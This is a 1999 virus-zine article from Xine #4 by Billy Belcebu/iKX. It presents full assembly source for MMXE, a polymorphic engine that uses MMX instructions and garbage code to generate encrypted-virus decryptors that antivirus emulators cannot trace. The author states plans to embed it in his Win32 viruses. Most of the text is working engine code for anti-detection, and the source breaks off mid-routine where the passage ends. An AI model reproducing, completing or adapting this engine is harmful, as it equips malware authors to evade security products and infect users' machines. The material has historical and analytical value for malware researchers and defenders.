
                                        /-----------------------------\
                                        | Xine - issue #4 - Phile 301 |
                                        \-----------------------------/

; [MMXE] - MultiMedia eXtensions Engine v1.01
; Copyright (c) 1999 by Billy Belcebu/iKX
;
; [ Introduction to MMXE ]
;
; Ladies and  gentlemen... The world's first MMX oriented polymorphic engine!
; I want to see emulators tracing it! Well, as  you can think, it's an extra-
; vaganza, but let me explain what forced  me to do it. One day i was playing
; around with  the FPU instructions (while coding my PoshKiller), and i built
; an encryptor using only the  coprocessor, but due  to some strange problems
; with  the  coprocessor's way to  round up, i had  to code a mix between the
; ussual XOR encryption  method and  the FPU, for  stop  emulators. But i had
; heard that DrWeb emulates FPU... And this is a real shit! I began to think,
; "what is not emulated?"... And there it was, the (relative) new MMX instru-
; ctions. I  think  that people  has at  least a P166MMX (as me!), so i built
; this thingy. By the way... added to the fact that this engine will generate
; the most strange decryptors  around, we have  the speed. It's a hell speedy
; thingy! :)
;
; This engine will also work with non-MMX machines.
;
; [ Compatibility with non-MMX machines ]
;
; The only way for compatibility is to use a function that's equal exactly in
; MMX and in its normal usage, for example PXOR and XOR functions. We must
; make two decryptors, one using MMX instructions everywhere and other usual
; one. Look at this diagram (example of what could be generated by MMXE):
;
; ÚÄÄÄÄÄÄÄÄÄÄÄ¿ ¿    01. Check for MMX presence: if found goto 2; else goto E
; ³ Decryptor ³ ÃÄ  02. Get pseudo delta offset
; ÃÄÄÄÄÄÄÄÄÄÄÄ´ Ù    03. Load size into size register
; ³           ³      04. Load pointer into pointer register
; ³           ³      05. Load key into key register
; ³ Encrypted ³      06. Move to MMX register used as key the key
; ³   data    ³      07. Move the pointed dword to MMX reg used as pointer
; ³           ³      08. Perform the MMX encryption operation
; ³           ³      09. Store the decrypted dword in its position
; ÀÄÄÄÄÄÄÄÄÄÄÄÙ      0A. Increase pointer register by 4
;                    0B. Decrease counter register by 1
;                    0C. Loop 07 (while counter reg != 0) 
;                    0D. Jump to encrypted data (already decrypted)
;                    0E. Get pseudo delta offset
;                    0F. Load size into size register
;                    10. Load pointer into pointer register
;                    11. Load key into key register
;                    12. Perform the non-MMX encryption operation
;                    13. Increase pointer register by 4
;                    14. Decrease counter register by 1
;                    15. Loop 12 (while counter reg != 0)
;                    16. Jump to encrypted data (already decrypted)
;
; Of course, between all the points will be garbage, but note the different
; kind of it:
;
; 02..0D    -> MMX instructions also used as garbage
; 01,0E..16 -> MMX instructions don't used as garbage
;
; [ Brief explanation of some MMX stuff ]
;
; Anyway, if you  want to  text  for  MMX presence, you can do it by checking
; flag 23 returned  by CPUID  when EAX was 1. Ok, ok... simply with this code
; lines:
;
;       mov     eax,1
;       cpuid
;       test    edx,00000000010000000000000000000000b
;       jnz     mmx_not_found
;       jmp     mmx_found
;
; or even the optimized version:
;
;       xor     eax,eax
;       inc     eax
;       cpuid
;       bt      edx,17h
;       jnc     mmx_not_found
;
; It is very viable, as we have some "known" operations, but speeded up, such
; as PXOR, POR, PAND, and  such like. So it's  very easy  to perform a simple
; encryptor by using MMX instructions. Here you have an example:
;
;       lea     edi,pointer_to_data_to_crypt
;       mov     esi,enc_key
;       mov     ecx,size_to_crypt/4
;       movd    mm2,esi
; @@1:  movd    mm1,[edi]
;       pxor    mm1,mm2
;       movd    [edi],mm1
;       add     edi,4
;       loop    @@1
;
; This will perform a simple XOR operation dword per dword to all the encryp-
; ted data. Simple, huh? :) I would like  to see  the face that will have the
; first AV in obtain  something that  uses MMX! Hehehe, he won't be expecting
; such like thing! :)
;
; Well, this engine provides a weak encryption, just because i need more time
; for  experiment with  the different MMX opcodes. Also, i've never been very
; good at poly: i begin very spectacular projects, but i become bored by them
; very quickly (for example, i've coded an engine called WPE, i have it in my
; HD, but i think i  will never  finish  it... it's now about 3.5K...). Well,
; i think there'll be a version 2.00 of this engine, that will be implemented
; in one of  my  simplest viruses (such as Win32.Aztec or Win32.Paradise) for
; test its abilities.
;
; [ Dedications, Fucks & Thoughts ]
;
; This engine  is dedicated to all my friends: b0z0, StarZer0, SeptiC, Benny,
; Super, nIgr0, MDriller, VirusBuster, Wintermute, Ypsilon, etc.
; Fucks go to  the following motherfuckers: IntelServ/VGrep/Algorithm/etc, to
; all fascists and totalitarian ppl over the earth, to the catholics fanatics
; (or of another  religion)... i.e. all the  people that  doesn't control his
; life, who is not free, and wants all the other ppl to be as him... 
;
; I'll be forever free (nice song, heh inty?) :)
; 
; (c) 1999 Billy Belcebu/iKX

        .586p
        .model  flat

extrn   ExitProcess:PROC
extrn   GetTickCount:PROC
extrn   MessageBoxA:PROC
rdtcs   equ <dw 310Fh>

        .data
        db      "[MMXE] - MultiMedia eXtensions Engine v1.00",0
        db      "A research made by Billy Belcebu/iKX",0
        .code

; Here follows some code used by me for test the engine

fakehost:
        xor     ebp,ebp

        call    GetTickCount
        mov     dword ptr [ebp+rnd_seed1],eax
        rdtcs
        mov     dword ptr [ebp+rnd_seed2],eax
        mov     dword ptr [ebp+rnd_seed3],edx

        int     3

        lea     esi,crypt
        lea     edi,buffer
        mov     ecx,cryptsize
        call    mmxe

        call    buffer                          ; Decrypt

        push    00001000h
        push    offset c1
        push    offset c2
        push    00000000h
        call    MessageBoxA

        push    0
        call    ExitProcess

        nop

buffer:
        db      LIMIT dup (90h)
       
crypt:  ret
c1:     db      "[MMXE."
        db      (mmxe_end-mmxe)/1000 mod 10 + "0"
        db      (mmxe_end-mmxe)/0100 mod 10 + "0"
        db      (mmxe_end-mmxe)/0010 mod 10 + "0"
        db      (mmxe_end-mmxe)/0001 mod 10 + "0"
        db      "]",0
c2:     db      "Late at night i found myself again",10
        db      "wondering and watching TV",10
        db      "I can't believe what's on the screen",10
        db      "something that i wouldn't like to see",10
        db      "Many rare species will perish soon",10
        db      "and we'll be short on food",10
        db      "Why do we have to be so selfish",10
        db      "we have to change our attitude",10
        db      "I know that i am not",10
        db      "the only one that's worried",10
        db      "Why don't we all",10
        db      "wake up, and and realize",10
        db      "Like the birds in the sky",10
        db      "we are flying so high",10
        db      "without making anykind of sacrifice",10
        db      "We've got so little time",10
        db      "to undo this crime",10
        db      "or we'll lose our paradise",10
        db      "It seems to me that there's no sense at all",10
        db      "nobody cares, it's always the same",10
        db      "Mother nature's crying out in pain",10
        db      "I know we are the ones to blame",10
        db      "Paradise [ Stratovarius ]",10,10
        db      "(c) 1999 Billy Belcebu/iKX",0
        dd      00000000h
cryptsize       equ $-crypt

; =:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=
; [MMXE] - MultiMedia eXtensions Engine v1.01
; =:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=
;
; This  is  a  bugfixed  and improved  version  of  my MMXE v1.00. Enjoy  it!
; PS: Of course, this engine is so  far away from  Mental Driller's code, but
; at least it tries to be poly, huh? :)
;
; input:
;       ECX = Size of code to encrypt
;       ESI = Pointer to the data to encrypt
;       EDI = Buffer where put the decryptor
;       EBP = Delta Offset
; output:
;       ECX = Decryptor size
;
;       All the other registers, preserved.
;

; [ Default MMXE settings ]

LIMIT           equ     800h                    ; Decryptor size (2K)
RECURSION       equ     05h                     ; The recursion level of THME
nGARBAGE        equ     08h                     ; Sorta level of garbage

; [ Registers ]

_EAX            equ     00000000b               ; All these are the numeric
_ECX            equ     00000001b               ; value of all the registers.
_EDX            equ     00000010b               ; Heh, i haven't used here 
_EBX            equ     00000011b               ; all this, but... wtf? they
_ESP            equ     00000100b               ; don't waste bytes, and ma-
_EBP            equ     00000101b               ; ke this shit to be more
_ESI            equ     00000110b               ; clear :)
_EDI            equ     00000111b               ;

; [ MMX registers ]

_MM0            equ     00000000b
_MM1            equ     00000001b
_MM2            equ     00000010b
_MM3            equ     00000011b
_MM4            equ     00000100b
_MM5            equ     00000101b
_MM6            equ     00000110b
_MM7            equ     00000111b

; [ Internal flags ]

_CHECK4MMX      equ     0000000000000001b
_DELTAOFFSET    equ     0000000000000010b
_LOADSIZE       equ     0000000000000100b
_LOADPOINTER    equ     0000000000001000b
_LOADKEY        equ     0000000000010000b
_PASSKEY2MMX    equ     0000000000100000b
_PASSPTR2MMX    equ     0000000001000000b
_CRYPT          equ     0000000010000000b
_PASSMMX2PTR    equ     0000000100000000b
_INCPOINTER     equ     0000001000000000b
_DECCOUNTER     equ     0000010000000000b
_LOOP           equ     0000100000000000b

; [ POSITIONS ]

@CHECK4MMX      equ     00h
@DELTAOFFSET    equ     01h
@LOADSIZE       equ     02h
@LOADPOINTER    equ     03h
@LOADKEY        equ     04h
@PASSKEY2MMX    equ     05h
@PASSPTR2MMX    equ     06h
@CRYPT          equ     07h
@PASSMMX2PTR    equ     08h
@INCPOINTER     equ     09h
@DECCOUNTER     equ     0Ah
@LOOP           equ     0Bh

; [ PUSHAD structure ]

PUSHAD_EDI      equ     00h
PUSHAD_ESI      equ     04h
PUSHAD_EBP      equ     08h
PUSHAD_ESP      equ     0Ch
PUSHAD_EBX      equ     10h
PUSHAD_EDX      equ     14h
PUSHAD_ECX      equ     18h
PUSHAD_EAX      equ     1Ch

RETURN_ADDRESS  equ     04h

; [ MMXE v1.01 ]

mmxe            proc
        pushad
        call    @@init_mmxe

        pushad
        call    @@crypt_data
        popad

        call    @@gen_some_garbage
        call    @@gen_check4mmx
        call    @@gen_some_garbage

; Generate the 5 parts of the decryptor that go before the loop

@@gb4l_:
        call    @@gen_some_garbage
        call    @@gen_before_loop
@@gb4l?:
        movzx   ecx,word ptr [ebp+@@flags]
        xor     ecx,_CHECK4MMX or \             ; Check if all flags were 
                    _DELTAOFFSET or \           ; done ... (They should be,
                    _LOADSIZE or \              ; but i don't trust in my own
                    _LOADPOINTER or \           ; code :)
                    _LOADKEY or \
                    _PASSKEY2MMX
        jnz     @@gb4l_
        
; Get the loop point

        call    @@getloopaddress
        call    @@gen_some_garbage

; Generate the decryptor instructions that form the loop

        lea     esi,[ebp+@@after_looptbl]
        mov     ecx,@@s_aftlooptbl
@@gal:  lodsd
        add     eax,ebp

        push    ecx esi
        call    eax
        call    @@gen_some_garbage
        pop     esi ecx

        loop    @@gal

        mov     al,0E9h
        stosb
        mov     eax,LIMIT
        mov     ebx,edi
        sub     ebx,dword ptr [ebp+@@ptr_buffer]
        add     ebx,4
        sub     eax,ebx
        stosd

; And now generate the non-MMX decryptor

        call    @@gen_garbage

        mov     eax,dword ptr [ebp+@@ptrto2nd]
        mov     ebx,edi
        sub     ebx,eax
        sub     ebx,4
        mov     dword ptr [eax],ebx

        and     word ptr [ebp+@@flags],0000h
        and     byte ptr [ebp+@@init_mmx?],00h
        or      word ptr [ebp+@@flags],_CHECK4MMX

@@gb4lx_:
        call    @@gen_some_garbage
        call    @@gen_before_loop_non_mmx

@@gb4lx?:
        movzx   ecx,word ptr [ebp+@@flags]
        xor     ecx,_CHECK4MMX or \             ; Check if all flags were 
                    _DELTAOFFSET or \           ; done ... (They should be,
                    _LOADSIZE or \              ; but i don't trust in my own
                    _LOADPOINTER or \           ; code :)
                    _LOADKEY
        jz      @@continue_with_this

        movzx   ecx,word ptr [ebp+@@flags]
        xor     ecx,_CHECK4MMX or \             ; In strange files, i dunno
                    _DELTAOFFSET or \           ; why, instead 1F, we must 
                    _LOADSIZE or \              ; check for 3F... otherwise,
                    _LOADPOINTER or \           ; all it goes to hell :(
                    _LOADKEY or \
                    _PASSKEY2MMX
        jnz     @@gb4lx_

@@continue_with_this:
        call    @@gen_garbage
        call    @@getloopaddress

        lea     esi,[ebp+@@after_l00ptbl]
        mov     ecx,@@s_aftl00ptbl
@@galx: lodsd
        add     eax,ebp

        push    ecx esi
        call    eax
        call    @@gen_some_garbage
        pop     esi ecx

        loop    @@galx

	mov     al,0E9h                         ; Generate the JMP to the 
	stosb                                   ; decrypted virus code
	mov     eax,LIMIT
	mov     ebx,edi
        sub     ebx,dword ptr [ebp+@@ptr_buffer]
	add     ebx,04h
	sub     eax,ebx
	stosd

	xchg    eax,ecx                         ; Fill with shit the rest
@@FillTheRest:
	call    random
	stosb
        loop    @@FillTheRest


        call    @@uninit_mmxe
        popad
        ret

        db      00h,"[MMXE v1.01]",00h

; --- Initialization & Uninitialization routines

@@init_mmxe:
        mov     dword ptr [ebp+@@ptr_data2enc],esi
        mov     dword ptr [ebp+@@ptr_buffer],edi
        mov     dword ptr [ebp+@@size2enc],ecx
        shr     ecx,2
        mov     dword ptr [ebp+@@size2cryptd4],ecx
        and     byte ptr [ebp+@@init_mmx?],00h
        and     word ptr [ebp+@@flags],00h
        call    random
        mov     dword ptr [ebp+@@enc_key],eax

@@get_key:
        mov     eax,08h
        call    r_range
        or      eax,eax
        jz      @@get_key
        cmp     eax,_ESP
        jz      @@get_key
        mov     byte ptr [ebp+@@reg_key],al
        mov     ebx,eax
@@get_ptr2data:
        mov     eax,08h
        call    r_range
        or      eax,eax
        jz      @@get_ptr2data
        cmp     eax,_ESP
        jz      @@get_ptr2data
        cmp     eax,_EBP
        jz      @@get_ptr2data
        cmp     eax,ebx
        jz      @@get_ptr2data
        mov     byte ptr [ebp+@@reg_ptr2data],al
        mov     ecx,eax
@@get_counter:
        mov     eax,08h
        call    r_range
        or      eax,eax
        jz      @@get_counter
        cmp     eax,_ESP
        jz      @@get_counter
        cmp     eax,ebx
        jz      @@get_counter
        cmp     eax,ecx
        jz      @@get_counter
        mov     byte ptr [ebp+@@reg_counter],al
        mov     edx,eax
@@get_delta:
        mov     eax,08h
        call    r_range
        or      eax,eax
        jz      @@get_delta
        cmp     eax,_ESP
        jz      @@get_delta
        cmp     eax,ebx
        jz      @@get_delta
        cmp     eax,ecx
        jz      @@get_delta
        cmp     eax,edx
        jz      @@get_delta
        mov     byte ptr [ebp+@@reg_delta],al
        mov     edx,eax
@@get_mmxptr2data:
        mov     eax,08h
        call    r_range
        mov     byte ptr [ebp+@@mmx_ptr2data],al
        mov     ebx,eax
@@get_mmxkey:
        mov     eax,08h
        call    r_range
        cmp     eax,ebx
        jz      @@get_mmxkey
        mov     byte ptr [ebp+@@mmx_key],al

        mov     dword ptr [edi],"EXMM"
        ret

@@uninit_mmxe:
        mov     ecx,edi
        sub     ecx,dword ptr [ebp+@@ptr_buffer]
        mov     [esp.RETURN_ADDRESS.PUSHAD_ECX],ecx
        ret

; --- Who made this? Ehrm... oh, it was me! :)

        db      00h,"[- (c) 1999 Billy Belcebu/iKX -]",00h

; --- Useful subroutines used by the engine

@@get_register:
        movzx   ebx,byte ptr [ebp+@@reg_key]
        movzx   ecx,byte ptr [ebp+@@reg_ptr2data]
        movzx   edx,byte ptr [ebp+@@reg_counter]
        movzx   esi,byte ptr [ebp+@@reg_delta]
@@gr_get_another:
        mov     eax,08h
        call    r_range
        cmp     eax,_ESP
        jz      @@gr_get_another
        cmp     eax,ebx
        jz      @@gr_get_another
        cmp     eax,ecx
        jz      @@gr_get_another
        cmp     eax,edx
        jz      @@gr_get_another
        cmp     eax,esi
        jz      @@gr_get_another
        cmp     al,byte ptr [ebp+@@reg_mask]
        jz      @@gr_get_another
        ret

@@get_mmx_register:
        movzx   ebx,byte ptr [ebp+@@mmx_ptr2data]
        movzx   ecx,byte ptr [ebp+@@mmx_key]
@@gmmxr_get_another:
        mov     eax,08h
        call    r_range
        cmp     eax,ebx
        jz      @@gmmxr_get_another
        cmp     eax,ecx
        jz      @@gmmxr_get_another
        ret

@@clear_mask:
        and     byte ptr [ebp+@@reg_mask],00h
        ret

@@is_register:
        cmp     al,byte ptr [ebp+@@reg_key]
        jz      @@is_used
        cmp     al,byte ptr [ebp+@@reg_ptr2data]
        jz      @@is_used
        cmp     al,byte ptr [ebp+@@reg_counter]
        jz      @@is_used
        cmp     al,byte ptr [ebp+@@reg_delta]
        jz      @@is_used
        cmp     al,byte ptr [ebp+@@reg_mask]
        jz      @@is_used
        mov     cl,00h
        org     $-1
@@is_used:
        stc
        ret

@@gen_before_loop:
        mov     eax,05h
        call    r_range
        or      eax,eax                         ; 0
        jz      @@try_deltaoffset
        dec     eax                             ; 1
        jz      @@try_loadsize
        dec     eax                             ; 2
        jz      @@try_loadpointer
        dec     eax                             ; 3
        jz      @@try_loadkey                   ; 4
        jmp     @@try_passkey2mmx               ; 5

@@try_deltaoffset:
        bt      word ptr [ebp+@@flags],@DELTAOFFSET
        jc      @@gen_before_loop
        call    @@gen_deltaoffset
        ret

@@try_loadsize:
        bt      word ptr [ebp+@@flags],@LOADSIZE
        jc      @@gen_before_loop
        call    @@gen_loadsize
        ret

@@try_loadpointer:
        bt      word ptr [ebp+@@flags],@LOADPOINTER
        jc      @@gen_before_loop
        bt      word ptr [ebp+@@flags],@DELTAOFFSET
        jnc     @@gen_before_loop
        call    @@gen_loadpointer
        ret

@@try_loadkey:
        bt      word ptr [ebp+@@flags],@LOADKEY
        jc      @@gen_before_loop
        call    @@gen_loadkey
        ret

@@try_passkey2mmx:       
        bt      word ptr [ebp+@@flags],@PASSKEY2MMX
        jc      @@gen_before_loop        
        bt      word ptr [ebp+@@flags],@LOADKEY
        jnc     @@gen_before_loop
        call    @@gen_passkey2mmx
        ret

@@gen_before_loop_non_mmx:
        mov     eax,04h
        call    r_range
        or      eax,eax                         ; 0
        jz      @@try_deltaoffset_non_mmx
        dec     eax                             ; 1
        jz      @@try_loadsize_non_mmx
        dec     eax                             ; 2
        jz      @@try_loadpointer_non_mmx
        jmp     @@try_loadkey_non_mmx

@@try_deltaoffset_non_mmx:
        bt      word ptr [ebp+@@flags],@DELTAOFFSET
        jc      @@gen_before_loop
        call    @@gen_deltaoffset
        ret

@@try_loadsize_non_mmx:
        bt      word ptr [ebp+@@flags],@LOADSIZE
        jc      @@gen_before_loop
        call    @@gen_loadsize
        ret

@@try_loadpointer_non_mmx:
        bt      word ptr [ebp+@@flags],@LOADPOINTER
        jc      @@gen_before_loop
        bt      word ptr [ebp+@@flags],@DELTAOFFSET
        jnc     @@gen_before_loop
        call    @@gen_loadpointer
        ret

@@try_loadkey_non_mmx:
        bt      word ptr [ebp+@@flags],@LOADKEY
        jc      @@gen_before_loop
        call    @@gen_loadkey
        ret

@@crypt_data:
        mov     ecx,dword ptr [ebp+@@size2cryptd4]
        mov     ebx,dword ptr [ebp+@@enc_key]
        mov     edi,dword ptr [ebp+@@ptr_data2enc]
        mov     esi,edi
@@cl00p:lodsd
        xor     eax,ebx
        stosd
        loop    @@cl00p
        ret

; --- Garbage generators

@@gen_garbage:
        inc     byte ptr [ebp+@@recursion]
        cmp     byte ptr [ebp+@@recursion],RECURSION
        jae     @@gg_exit

        cmp     byte ptr [ebp+@@init_mmx?],00h
        ja      @@gg_mmx
@@gg_non_mmx:
        mov     eax,@@non_mmx_gbg
        jmp     @@gg_doit
@@gg_mmx:
        mov     eax,@@s_gbgtbl
@@gg_doit:
        call    r_range
        lea     ebx,[ebp+@@gbgtbl]
        mov     eax,[ebx+eax*4]
        add     eax,ebp
        call    eax

@@gg_exit:
        dec     byte ptr [ebp+@@recursion]
        ret

@@gen_some_garbage:
        mov     ecx,nGARBAGE
@@gsg_l00p:
        push    ecx
        call    @@gen_garbage
        pop     ecx
        loop    @@gsg_l00p
        ret  

; Generates any arithmetic operation with a register with another one register:
; ADD/OR/ADC/SBB/AND/SUB/XOR/CMP REG32,REG32

@@gen_arithmetic_reg32_reg32:
        call    random
        and     al,00111000b            ; [ADD,OR,ADC,SBB,AND,SUB,XOR,CMP]
        or      al,00000011b            
        stosb

@@gar32r32:
        call    @@get_register
        or      al,al
        jz      @@gar32r32
        shl     eax,3
        or      al,11000000b
        push    eax
        call    random
        and     al,00000111b
        xchg    ebx,eax
        pop     eax
        or      al,bl
        stosb
        ret 

; Generates any arithmetic operation with an immediate with a 32bit register:
; ADD/OR/ADC/SBB/AND/SUB/XOR/CMP REG32,IMM32

@@gen_arithmetic_reg32_imm32:
        mov     al,81h                  ; [ADD,OR,ADC,SBB,AND,SUB,XOR,CMP]
        stosb
@@gar32i32:
        call    @@get_register
        or      al,al
        jz      @@gar32i32
        push    eax
        call    random       
        and     al,00111000b
        or      al,11000000b
        pop     ebx
        or      al,bl
        stosb
        call    random
        stosd
        ret

; Generates any arithmetic operation with an immediate with EAX:
; ADD/OR/ADC/SBB/AND/SUB/XOR/CMP EAX,IMM32

@@gen_arithmetic_eax_imm32:
        call    random
        and     al,00111000b            ; [ADD,OR,ADC,SBB,AND,SUB,XOR,CMP]
        or      al,00000101b            
        stosb
        call    random
        stosd
        ret

; Generates a mov immediate to 32 bit reg:
;       MOV     REG32,IMM32

@@gen_mov_reg32_imm32:
        call    @@get_register
        add     al,0B8h
        stosb
        call    random
        stosd
        ret

; Generates mov immediate to 8bit reg:
;       MOV     REG8,IMM8

@@gen_mov_reg8_imm8:
        mov     eax,4
        call    r_range
        call    @@is_register
        jc      @@quitthisshit
        push    eax
        mov     eax,2
        call    r_range
        pop     ecx
        xchg    eax,ecx
        jecxz   @@use_msb
@@put_it:
        add     al,0B0h
        stosb
        call    random
        stosb       
@@quitthisshit:
        ret
@@use_msb:
        or      al,00000100b
        jmp     @@put_it

; Generates CALLs to subroutines:
;       CALL    @@1
;       [...]
;       JMP     @@2
;       [...]
;  @@1: [...]
;       RET
;       [...]
;  @@2: [...]

@@gen_call_to_subroutine:
        mov     al,0E8h
        stosb
        xor     eax,eax
        stosd
        push    edi
        call    @@gen_garbage
        mov     al,0E9h
        stosb
        xor     eax,eax
        stosd
        push    edi
        call    @@gen_garbage
        mov     al,0C3h
        stosb
        call    @@gen_garbage
        mov     ebx,edi
        pop     edx
        sub     ebx,edx
        mov     [edx-4],ebx
        pop     ecx
        sub     edx,ecx
        mov     [ecx-4],edx
@@do_anything:
        ret

; Generate push/garbage/pop structure (allows recursivity):
;       PUSH    REG
;       [...]
;       POP     REG
;

@@gen_push_garbage_pop:
        mov     eax,08h
        call    r_range
        add     al,50h
        stosb
        call    @@gen_garbage
        call    @@get_register
        add     al,58h
        stosb
        ret

; MMX Group 1:
;
; PUNPCKLBW/PUNPCKLWD/PUNPCKLDQ/PACKSSWB/PCMPGTB/PCMPGTW/PCMPGTD/PACHUSWB
; PUNPCKHBW/PUNPCKHWD/PUNPCKHDQ/PACKSSDW

@@gen_mmx_group1:
        mov     bx,600Fh
        mov     eax,0Ch
        call    r_range
        add     bh,al
        xchg    eax,ebx
        stosw
        call    @@build_mmx_gbg_rib
        ret

@@gen_mmx_movq_mm?_mm?:
        mov     ax,6F0Fh                        ; MOVQ MM?,MM?
        stosw
        call    @@build_mmx_gbg_rib
        ret

@@gen_mmx_movd_mm?_reg32:
        mov     ax,7E0Fh                        ; MOVD MM?,E??
        stosw
        call    @@get_mmx_register
        shl     eax,3
        push    eax
        call    @@get_register
        xchg    eax,ebx
        pop     eax
        or      al,bl
        or      al,11000000b
        stosb
        ret

; MMX Group 2:
;
; PCMPEQB/PCMPEQW/PCMPEQD

@@gen_mmx_group2:
        mov     al,0Fh
        stosb
        mov     eax,3
        call    r_range
        add     al,74h
        stosb
        call    @@build_mmx_gbg_rib
        ret

; MMX Group 3:
;
; PSRLW/PSRLD/PSRLQ/PMULLW/PSUBUSB/PSUBUSW/PAND/PADDUSB/PADDUSW/PANDN/PSRAW
; PSRAD/PMULHW/PSUBSB/PSUBSW/POR/PADDSB/PADDSW/PXOR/PSLLW/PSLLD/PSLLQ/PMULADDWD

@@gen_mmx_group3:
        mov     al,0Fh
        stosb
        call    @@__overshit
@@eoeo: db      0D1h,0D2h,0D3h,0D5h,0D8h,0D9h,0DBh,0DCh,0DDh,0DFh
        db      0E1h,0E2h,0E5h,0E8h,0E9h,0EBh,0ECh,0EDh,0EFh
        db      0F1h,0F2h,0F5h
sg3tbl  equ     ($-offset @@eoeo)
@@__overshit:
        pop     esi
        mov     eax,sg3tbl
        call    r_range
        mov     al,byte ptr [esi+eax]
        stosb
        call    @@build_mmx_gbg_rib
@@gmmx_goaway:
        ret

@@build_mmx_gbg_rib:
        call    @@get_mmx_register
        shl     eax,3
        push    eax
        call    @@get_mmx_register
        xchg    eax,ebx
        pop     eax
        or      eax,ebx
        or      al,11000000b
        stosb
        ret

; Generate Onebyters:
;
; CLD/CMC/SALC/NOP/LAHF/INC EAX/DEC EAX/SAHF/(F)WAIT/CWDE

@@gen_onebyter:
        call    @@go_overshit
        db      0FCh,0F5h,0D6h,90h,9Fh,40h,48h,9Eh,9Bh,98h
@@go_overshit:
        pop     esi
        mov     eax,0Ah
        call    r_range
        mov     al,byte ptr [esi+eax]
        stosb
        ret

; Generate many possible ways for make a determinated register to be 0:
; XOR REG,REG/SUB REG,REG/PUSH 0 POP REG/AND REG,0/MOV REG,0

@@gen_zer0_reg:
        call    @@get_register                  ; For garbage generators
@@gen_zero_reg:
        push    eax
        mov     eax,06h
        call    r_range
        pop     ecx
        xchg    eax,ecx
        jecxz   @@xor_reg_reg
        dec     ecx
        jecxz   @@sub_reg_reg
        dec     ecx
        jecxz   @@push_0_pop_reg
        dec     ecx
        jecxz   @@and_reg_0
        dec     ecx
        jecxz   @@mov_reg_0
@@or_reg_m1_inc_reg:       
        push    eax
        cmp     al,_EAX
        jnz     @@or_reg_m1
@@or_eax_m1:
        mov     al,0Dh                          ; OR EAX,-1
        stosb
        xor     eax,eax
        dec     eax
        stosd
        jmp     @@orm1ir_inc_reg
@@or_reg_m1:
        xchg    eax,ebx
        mov     ax,0C883h                       ; OR REG,-1
        or      ah,bl
        stosw
        xor     eax,eax
        dec     eax
        stosb
        xchg    eax,ebx
@@orm1ir_inc_reg:
        pop     eax
        add     al,40h                          ; INC REG
        stosb
        ret

@@xor_reg_reg:
        xchg    eax,ebx
        mov     ax,0C033h                       ; XOR REG,REG
        or      ah,bl
        shl     ebx,3
        or      ah,bl
        stosw
        ret

@@sub_reg_reg:
        xchg    eax,ebx
        mov     ax,0C02Bh                       ; SUB REG,REG
        or      ah,bl
        shl     ebx,3
        or      ah,bl
        stosw
        ret

@@push_0_pop_reg:
        push    eax
        mov     ax,006Ah                        ; PUSH 00h
        stosw                                   ; POP REG
        pop     eax
        add     al,58h
        stosb
        ret

@@and_reg_0:
        cmp     al,_EAX
        jnz     @@and_regnoteax_0
@@and_eax_0:
        mov     al,25h
        stosb
        xor     eax,eax
        stosd
        ret
@@and_regnoteax_0:
        xchg    eax,ebx 
        mov     ax,0E083h                       ; AND REG,00
        or      ah,bl
        stosw
        xor     eax,eax
        stosb
        ret

@@mov_reg_0:
        add     al,0B8h                         ; MOV REG,00000000
        stosb
        xor     eax,eax
        stosd
        ret

; --- Decryptor code generators

; Generate the routine for check for MMX presence, that should perform exactly
; the same action of the following code:
;       MOV     EAX,1
;       CPUID
;       BT      EDX,17h
;       JNC     NOT_MMX

@@gen_check4mmx:
        mov     eax,08h
        call    r_range
        xchg    eax,ecx
        jecxz   @@c4mmx_a_@@1
        dec     ecx
        jecxz   @@c4mmx_a_@@2
        dec     ecx
        jecxz   @@c4mmx_a_@@3
        dec     ecx
        jecxz   @@c4mmx_a_@@4
        dec     ecx
        jecxz   @@c4mmx_a_@@5
        dec     ecx
        jecxz   @@c4mmx_a_@@6
        dec     ecx
        jecxz   @@c4mmx_a_@@7
@@c4mmx_a_@@8:
        xor     eax,eax                         ; ZERO EAX
        call    @@gen_zero_reg                  ; SUB EAX,-1
        mov     al,2Dh
        stosb
        xor     eax,eax
        dec     eax
        stosd
        jmp     @@c4mmx_over_a
@@c4mmx_a_@@7:
        xor     eax,eax                         ; ZERO EAX
        call    @@gen_zero_reg                  ; ADD EAX,1
        mov     al,05h
        stosb
        xor     eax,eax
        inc     eax
        stosd
        jmp     @@c4mmx_over_a
@@c4mmx_a_@@6:
        xor     eax,eax                         ; ZERO EAX
        call    @@gen_zero_reg                  ; STC
        mov     ax,1DF9h                        ; SBB EAX,-2
        stosw
        xor     eax,eax
        dec     eax
        dec     eax
        stosd
        jmp     @@c4mmx_over_a
@@c4mmx_a_@@5:
        xor     eax,eax                         ; ZERO EAX
        call    @@gen_zero_reg                  ; STC
        mov     ax,15F9h                        ; ADC EAX,00000000
        stosw
        xor     eax,eax
        stosd
        jmp     @@c4mmx_over_a
@@c4mmx_a_@@4:
        mov     al,0Dh                          ; OR EAX,-1
        stosb                                   ; AND EAX,1
        xor     eax,eax
        dec     eax
        stosd
        mov     al,25h
        stosb
        xor     eax,eax
        inc     eax
        stosd       
        jmp     @@c4mmx_over_a
@@c4mmx_a_@@3:
        mov     eax,9058016Ah                   ; PUSH 01
        stosd                                   ; POP EAX
        dec     edi
        jmp     @@c4mmx_over_a
@@c4mmx_a_@@2:
        xor     eax,eax
        call    @@gen_zero_reg                  ; ZERO EAX
        mov     al,40h                          ; INC EAX
        stosb
        jmp     @@c4mmx_over_a
@@c4mmx_a_@@1:
        mov     al,0B8h                         ; MOV EAX,1
        stosb
        xor     eax,eax
        inc     eax
        stosd
@@c4mmx_over_a:
        call    @@gen_garbage

        mov     ax,0A20Fh                       ; CPUID
        stosw

        call    @@clear_mask
        mov     byte ptr [ebp+@@reg_mask],_EDX

        call    @@gen_garbage

        mov     eax,03h
        call    r_range
        or      eax,eax
        jz      @@c4mmx_b_@@3
        dec     eax
        jz      @@c4mmx_b_@@2

@@c4mmx_b_@@1:
        mov     eax,17E2BA0Fh                   ; BT EDX,17h
        stosd                                   ; JC $+??
        mov     al,72h
        stosb
        jmp     @@c4mmx_over_b
@@c4mmx_b_@@2:
        mov     eax,0000C2F7h                   ; TEST EDX,00400000h
        stosd                                   ; JZ $+??
        mov     eax,00740040h
        stosd
        dec     edi
        jmp     @@c4mmx_over_b
@@c4mmx_b_@@3:
        mov     eax,7218EAC1h                   ; SHR EDX,18h
        stosd                                   ; JC $+??
@@c4mmx_over_b:
        push    edi
